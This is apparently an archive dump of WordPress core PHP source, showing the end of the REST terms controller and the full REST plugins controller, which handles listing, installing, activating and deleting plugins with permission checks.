4.7.0 * * @param WP_Term $item Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $item->term_id; } if ( in_array( 'count', $fields, true ) ) { $data['count'] = (int) $item->count; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $item->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_term_link( $item ); } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $item->name; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $item->slug; } if ( in_array( 'taxonomy', $fields, true ) ) { $data['taxonomy'] = $item->taxonomy; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->parent; } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $item->term_id, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $item ) ); } /** * Filters the term data for a REST API response. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_prepare_category` * - `rest_prepare_post_tag` * * Allows modification of the term data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Term $item The original term object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $links = array( 'self' => array( 'href' => rest_url( rest_get_route_for_term( $term ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ), ), ); if ( $term->parent ) { $parent_term = get_term( (int) $term->parent, $term->taxonomy ); if ( $parent_term ) { $links['up'] = array( 'href' => rest_url( rest_get_route_for_term( $parent_term ) ), 'embeddable' => true, ); } } $taxonomy_obj = get_taxonomy( $term->taxonomy ); if ( empty( $taxonomy_obj->object_type ) ) { return $links; } $post_type_links = array(); foreach ( $taxonomy_obj->object_type as $type ) { $rest_path = rest_get_route_for_post_type_items( $type ); if ( empty( $rest_path ) ) { continue; } $post_type_links[] = array( 'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ), ); } if ( ! empty( $post_type_links ) ) { $links['https://api.w.org/post_type'] = $post_type_links; } return $links; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'count' => array( 'description' => __( 'Number of published posts for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'HTML description of the term.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL of the term.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'HTML title for the term.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), 'required' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the term unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'taxonomy' => array( 'description' => __( 'Type attribution for the term.' ), 'type' => 'string', 'enum' => array( $this->taxonomy ), 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), ), ); $taxonomy = get_taxonomy( $this->taxonomy ); if ( $taxonomy->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The parent term ID.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $taxonomy = get_taxonomy( $this->taxonomy ); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( ! $taxonomy->hierarchical ) { $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); } $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by term attribute.' ), 'type' => 'string', 'default' => 'name', 'enum' => array( 'id', 'include', 'name', 'slug', 'include_slugs', 'term_group', 'description', 'count', ), ); $query_params['hide_empty'] = array( 'description' => __( 'Whether to hide terms not assigned to any posts.' ), 'type' => 'boolean', 'default' => false, ); if ( $taxonomy->hierarchical ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to terms assigned to a specific parent.' ), 'type' => 'integer', ); } $query_params['post'] = array( 'description' => __( 'Limit result set to terms assigned to a specific post.' ), 'type' => 'integer', 'default' => null, ); $query_params['slug'] = array( 'description' => __( 'Limit result set to terms with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); /** * Filters collection parameters for the terms controller. * * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy * slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Term_Query parameter. Use the * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Taxonomy $taxonomy Taxonomy object. */ return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy ); } /** * Checks that the taxonomy is valid. * * @since 4.7.0 * * @param string $taxonomy Taxonomy to check. * @return bool Whether the taxonomy is allowed for REST management. */ protected function check_is_taxonomy_allowed( $taxonomy ) { $taxonomy_obj = get_taxonomy( $taxonomy ); if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) { return true; } return false; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-plugins-controller.php����������������������������������������������������������������0000644�����������������00000067561�15250636727�0013655 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Plugins_Controller class * * @package WordPress * @subpackage REST_API * @since 5.5.0 */ /** * Core class to access plugins via the REST API. * * @since 5.5.0 * * @see WP_REST_Controller */ class WP_REST_Plugins_Controller extends WP_REST_Controller { const PATTERN = '[^.\/]+(?:\/[^.\/]+)?'; /** * Plugins controller constructor. * * @since 5.5.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'plugins'; } /** * Registers the routes for the plugins controller. * * @since 5.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => array( 'slug' => array( 'type' => 'string', 'required' => true, 'description' => __( 'WordPress.org plugin directory slug.' ), 'pattern' => '[\w\-]+', ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'default' => 'inactive', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'plugin' => array( 'type' => 'string', 'pattern' => self::PATTERN, 'validate_callback' => array( $this, 'validate_plugin_param' ), 'sanitize_callback' => array( $this, 'sanitize_plugin_param' ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugins = array(); foreach ( get_plugins() as $file => $data ) { if ( is_wp_error( $this->check_read_permission( $file ) ) ) { continue; } $data['_file'] = $file; if ( ! $this->does_plugin_match_request( $request, $data ) ) { continue; } $plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) ); } return new WP_REST_Response( $plugins ); } /** * Checks if a given request has access to get a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Retrieves one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } return $this->prepare_item_for_response( $data, $request ); } /** * Checks if the given plugin can be viewed by the current user. * * On multisite, this hides non-active network only plugins if the user does not have permission * to manage network plugins. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return true|WP_Error True if can read, a WP_Error instance otherwise. */ protected function check_read_permission( $plugin ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! $this->is_plugin_installed( $plugin ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } if ( ! is_multisite() ) { return true; } if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) { return true; } return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to upload plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) ) { return new WP_Error( 'rest_cannot_install_plugin', __( 'Sorry, you are not allowed to install plugins on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate plugins.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Uploads a plugin and optionally activates it. * * @since 5.5.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { global $wp_filesystem; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $slug = $request['slug']; // Verify filesystem is accessible first. $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false, 'language_packs' => true, ), ) ); if ( is_wp_error( $api ) ) { if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) { $api->add_data( array( 'status' => 404 ) ); } else { $api->add_data( array( 'status' => 500 ) ); } return $api; } $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $result = $upgrader->install( $api->download_link ); if ( is_wp_error( $result ) ) { $result->add_data( array( 'status' => 500 ) ); return $result; } // This should be the same as $result above. if ( is_wp_error( $skin->result ) ) { $skin->result->add_data( array( 'status' => 500 ) ); return $skin->result; } if ( $skin->get_errors()->has_errors() ) { $error = $skin->get_errors(); $error->add_data( array( 'status' => 500 ) ); return $error; } if ( is_null( $result ) ) { // Pass through the error from WP_Filesystem if one was raised. if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) { return new WP_Error( 'unable_to_connect_to_filesystem', $wp_filesystem->errors->get_error_message(), array( 'status' => 500 ) ); } return new WP_Error( 'unable_to_connect_to_filesystem', __( 'Unable to connect to the filesystem. Please confirm your credentials.' ), array( 'status' => 500 ) ); } $file = $upgrader->plugin_info(); if ( ! $file ) { return new WP_Error( 'unable_to_determine_installed_plugin', __( 'Unable to determine what plugin was installed.' ), array( 'status' => 500 ) ); } if ( 'inactive' !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } $changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' ); if ( is_wp_error( $changed_status ) ) { return $changed_status; } } // Install translations. $installed_locales = array_values( get_available_languages() ); /** This filter is documented in wp-includes/update.php */ $installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales ); $language_packs = array_map( static function ( $item ) { return (object) $item; }, $api->language_packs ); $language_packs = array_filter( $language_packs, static function ( $pack ) use ( $installed_locales ) { return in_array( $pack->language, $installed_locales, true ); } ); if ( $language_packs ) { $lp_upgrader = new Language_Pack_Upgrader( $skin ); // Install all applicable language packs for the plugin. $lp_upgrader->bulk_upgrade( $language_packs ); } $path = WP_PLUGIN_DIR . '/' . $file; $data = get_plugin_data( $path, false, false ); $data['_file'] = $file; $response = $this->prepare_item_for_response( $data, $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) ); return $response; } /** * Checks if a given request has access to update a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } } return true; } /** * Updates one plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $handled ) ) { return $handled; } } $this->update_additional_fields_for_object( $data, $request ); $request['context'] = 'edit'; return $this->prepare_item_for_response( $data, $request ); } /** * Checks if a given request has access to delete a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'delete_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to delete plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Deletes one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } if ( is_plugin_active( $request['plugin'] ) ) { return new WP_Error( 'rest_cannot_delete_active_plugin', __( 'Cannot delete an active plugin. Please deactivate it first.' ), array( 'status' => 400 ) ); } $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $prepared = $this->prepare_item_for_response( $data, $request ); $deleted = delete_plugins( array( $request['plugin'] ) ); if ( is_wp_error( $deleted ) ) { $deleted->add_data( array( 'status' => 500 ) ); return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $prepared->get_data(), ) ); } /** * Prepares the plugin for the REST response. * * @since 5.5.0 * * @param array $item Unmarked up and untranslated plugin data from {@see get_plugin_data()}. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $item = _get_plugin_data_markup_translate( $item['_file'], $item, false ); $marked = _get_plugin_data_markup_translate( $item['_file'], $item, true ); $data = array( 'plugin' => substr( $item['_file'], 0, - 4 ), 'status' => $this->get_plugin_status( $item['_file'] ), 'name' => $item['Name'], 'plugin_uri' => $item['PluginURI'], 'author' => $item['Author'], 'author_uri' => $item['AuthorURI'], 'description' => array( 'raw' => $item['Description'], 'rendered' => $marked['Description'], ), 'version' => $item['Version'], 'network_only' => $item['Network'], 'requires_wp' => $item['RequiresWP'], 'requires_php' => $item['RequiresPHP'], 'textdomain' => $item['TextDomain'], ); $data = $this->add_additional_fields_to_object( $data, $request ); $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $item ) ); } /** * Filters plugin data for a REST API response. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param array $item The plugin item from {@see get_plugin_data()}. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_plugin', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param array $item The plugin item. * @return array[] */ protected function prepare_links( $item ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $item['_file'], 0, - 4 ) ) ), ), ); } /** * Gets the plugin header data for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to get data for. * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed. */ protected function get_plugin_data( $plugin ) { $plugins = get_plugins(); if ( ! isset( $plugins[ $plugin ] ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } $data = $plugins[ $plugin ]; $data['_file'] = $plugin; return $data; } /** * Get's the activation status for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return string Either 'network-active', 'active' or 'inactive'. */ protected function get_plugin_status( $plugin ) { if ( is_plugin_active_for_network( $plugin ) ) { return 'network-active'; } if ( is_plugin_active( $plugin ) ) { return 'active'; } return 'inactive'; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) { if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_network_plugins', __( 'Sorry, you are not allowed to manage network plugins.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_deactivate_plugin', __( 'Sorry, you are not allowed to deactivate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function handle_plugin_status( $plugin, $new_status, $current_status ) { if ( 'inactive' === $new_status ) { deactivate_plugins( $plugin, false, 'network-active' === $current_status ); return true; } if ( 'active' === $new_status && 'network-active' === $current_status ) { return true; } $network_activate = 'network-active' === $new_status; if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) { return new WP_Error( 'rest_network_only_plugin', __( 'Network only plugin must be network activated.' ), array( 'status' => 400 ) ); } $activated = activate_plugin( $plugin, '', $network_activate ); if ( is_wp_error( $activated ) ) { $activated->add_data( array( 'status' => 500 ) ); return $activated; } return true; } /** * Checks that the "plugin" parameter is a valid path. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return bool */ public function validate_plugin_param( $file ) { if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) { return false; } $validated = validate_file( plugin_basename( $file ) ); return 0 === $validated; } /** * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return string */ public function sanitize_plugin_param( $file ) { return plugin_basename( sanitize_text_field( $file . '.php' ) ); } /** * Checks if the plugin matches the requested parameters. * * @since 5.5.0 * * @param WP_REST_Request $request The request to require the plugin matches against. * @param array $item The plugin item. * @return bool */ protected function does_plugin_match_request( $request, $item ) { $search = $request['search']; if ( $search ) { $matched_search = false; foreach ( $item as $field ) { if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) { $matched_search = true; break; } } if ( ! $matched_search ) { return false; } } $status = $request['status']; if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) { return false; } return true; } /** * Checks if the plugin is installed. * * @since 5.5.0 * * @param string $plugin The plugin file. * @return bool */ protected function is_plugin_installed( $plugin ) { return file_exists( WP_PLUGIN_DIR . '/' . $plugin ); } /** * Determine if the endpoints are available. * * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present. * * @since 5.5.0 * * @return true|WP_Error True if filesystem is available, WP_Error otherwise. */ protected function is_filesystem_available() { $filesystem_method = get_filesystem_method(); if ( 'direct' === $filesystem_method ) { return true; } ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() ); ob_end_clean(); if ( $filesystem_credentials_are_stored ) { return true; } return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) ); } /** * Retrieves the plugin's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'plugin', 'type' => 'object', 'properties' => array( 'plugin' => array( 'description' => __( 'The plugin file.' ), 'type' => 'string', 'pattern' => self::PATTERN, 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The plugin name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'plugin_uri' => array( 'description' => __( 'The plugin\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author' => array( 'description' => __( 'The plugin author.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author_uri' => array( 'description' => __( 'Plugin author\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'description' => array( 'description' => __( 'The plugin description.' ), 'type' => 'object', 'readonly' => true, 'context' => array( 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'The raw plugin description.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The plugin description formatted for display.' ), 'type' => 'string', ), ), ), 'version' => array( 'description' => __( 'The plugin version number.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'network_only' => array( 'description' => __( 'Whether the plugin can only be activated network-wide.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_wp' => array( 'description' => __( 'Minimum required version of WordPress.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_php' => array( 'description' => __( 'Minimum required version of PHP.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'textdomain' => array( 'description' => __( 'The plugin\'s text domain.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the collections. * * @since 5.5.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['status'] = array( 'description' => __( 'Limits results to plugins with the given status.' ), 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), ), ); unset( $query_params['page'], $query_params['per_page'] ); return $query_params; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������